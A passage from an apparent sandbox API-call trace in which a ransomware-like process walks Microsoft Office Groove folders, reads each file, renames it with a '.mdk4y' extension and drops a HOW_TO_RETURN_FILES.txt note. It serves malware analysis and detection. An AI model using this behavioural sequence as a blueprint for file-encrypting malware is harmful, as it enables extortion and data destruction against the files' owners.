lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1b49, lpOverlapped=0x0) returned 1 [0214.911] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829014100000) returned 1 [0214.912] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829014200000) returned 1 [0214.912] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImage.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimage.jpg.mdk4y")) returned 1 [0214.913] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.913] AreFileApisANSI () returned 1 [0214.913] GetACP () returned 0x4e4 [0214.913] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GlobeButtonImageMask.bmp", cchWideChar=24, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="GlobeButtonImageMask.bmp.jpg", lpUsedDefaultChar=0x37dda8) returned 24 [0214.913] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.940] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829017000000) returned 1 [0214.940] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x778, lpOverlapped=0x0) returned 1 [0214.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829017700000) returned 1 [0214.947] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829017700000) returned 1 [0214.947] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\GlobeButtonImageMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\globebuttonimagemask.bmp.mdk4y")) returned 1 [0214.948] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 0 [0214.948] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0214.949] AreFileApisANSI () returned 1 [0214.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0214.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Calendar\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\calendar\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.950] GetFileType (hFile=0x130) returned 0x1 [0214.951] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0214.951] AreFileApisANSI () returned 1 [0214.951] GetACP () returned 0x4e4 [0214.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CommonData", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="CommonDatatefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6p\x10)l", lpUsedDefaultChar=0x37de34) returned 10 [0214.951] AreFileApisANSI () returned 1 [0214.951] GetACP () returned 0x4e4 [0214.951] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=81, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\7㱴瞈㲣瞈鑖瞣_") returned 81 [0214.962] AreFileApisANSI () returned 1 [0214.962] GetACP () returned 0x4e4 [0214.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 1 [0214.962] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.963] AreFileApisANSI () returned 1 [0214.963] GetACP () returned 0x4e4 [0214.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 2 [0214.963] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.963] AreFileApisANSI () returned 1 [0214.963] GetACP () returned 0x4e4 [0214.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_Auto.jpg", cchWideChar=19, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_Auto.jpg7pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 19 [0214.963] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.964] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829019400000) returned 1 [0214.965] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x44c9, lpOverlapped=0x0) returned 1 [0214.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829020000000) returned 1 [0214.970] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829020000000) returned 1 [0214.972] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Auto.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_auto.jpg.mdk4y")) returned 1 [0214.973] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.973] AreFileApisANSI () returned 1 [0214.973] GetACP () returned 0x4e4 [0214.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_AutoMask.bmp", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_AutoMask.bmp8rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 23 [0214.973] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.974] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829020400000) returned 1 [0214.974] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0214.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829021100000) returned 1 [0214.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829021100000) returned 1 [0214.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_AutoMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_automask.bmp.mdk4y")) returned 1 [0214.982] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.982] AreFileApisANSI () returned 1 [0214.982] GetACP () returned 0x4e4 [0214.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_ContactHigh.jpg", cchWideChar=26, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_ContactHigh.jpgUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 26 [0214.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829021300000) returned 1 [0214.983] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x3356, lpOverlapped=0x0) returned 1 [0214.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829022000000) returned 1 [0214.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829022000000) returned 1 [0214.990] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHigh.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthigh.jpg.mdk4y")) returned 1 [0214.991] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0214.991] AreFileApisANSI () returned 1 [0214.991] GetACP () returned 0x4e4 [0214.991] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_ContactHighMask.bmp", cchWideChar=30, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_ContactHighMask.bmp5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dda8) returned 30 [0214.991] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0214.992] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829022200000) returned 1 [0214.992] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c70, lpOverlapped=0x0) returned 1 [0215.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829023000000) returned 1 [0215.000] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829023000000) returned 1 [0215.000] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactHighMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contacthighmask.bmp.mdk4y")) returned 1 [0215.001] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.001] AreFileApisANSI () returned 1 [0215.001] GetACP () returned 0x4e4 [0215.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_ContactLow.jpg", cchWideChar=25, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_ContactLow.jpgk.bmp", lpUsedDefaultChar=0x37dda8) returned 25 [0215.001] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.002] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829023200000) returned 1 [0215.002] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x2f79, lpOverlapped=0x0) returned 1 [0215.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024300000) returned 1 [0215.013] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024300000) returned 1 [0215.013] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLow.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlow.jpg.mdk4y")) returned 1 [0215.014] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.014] AreFileApisANSI () returned 1 [0215.014] GetACP () returned 0x4e4 [0215.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_ContactLowMask.bmp", cchWideChar=29, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_ContactLowMask.bmpp", lpUsedDefaultChar=0x37dda8) returned 29 [0215.014] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.015] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024500000) returned 1 [0215.016] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c70, lpOverlapped=0x0) returned 1 [0215.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024700000) returned 1 [0215.017] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024700000) returned 1 [0215.017] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp.mdk4y")) returned 1 [0215.018] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.018] AreFileApisANSI () returned 1 [0215.018] GetACP () returned 0x4e4 [0215.018] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_FileHigh.jpg", cchWideChar=23, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_FileHigh.jpgsk.bmp", lpUsedDefaultChar=0x37dda8) returned 23 [0215.018] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.019] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829024900000) returned 1 [0215.019] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x480d, lpOverlapped=0x0) returned 1 [0215.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829025900000) returned 1 [0215.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829025900000) returned 1 [0215.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.mdk4y")) returned 1 [0215.031] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.031] AreFileApisANSI () returned 1 [0215.031] GetACP () returned 0x4e4 [0215.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_FileHighMask.bmp", cchWideChar=27, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_FileHighMask.bmpmp", lpUsedDefaultChar=0x37dda8) returned 27 [0215.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.031] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829026100000) returned 1 [0215.031] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1c6e, lpOverlapped=0x0) returned 1 [0215.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829028300000) returned 1 [0215.053] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829028300000) returned 1 [0215.053] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp.mdk4y")) returned 1 [0215.054] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2fb8 | out: lpFindFileData=0x6c2fb8) returned 1 [0215.054] AreFileApisANSI () returned 1 [0215.055] GetACP () returned 0x4e4 [0215.055] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="AlertImage_FileOff.jpg", cchWideChar=22, lpMultiByteStr=0x6a21a4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="AlertImage_FileOff.jpgk.bmp", lpUsedDefaultChar=0x37dda8) returned 22 [0215.055] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0215.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829028600000) returned 1 [0215.056] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x46de, lpOverlapped=0x0) returned 1 [0215.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829030000000) returned 1 [0215.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1829030000000) 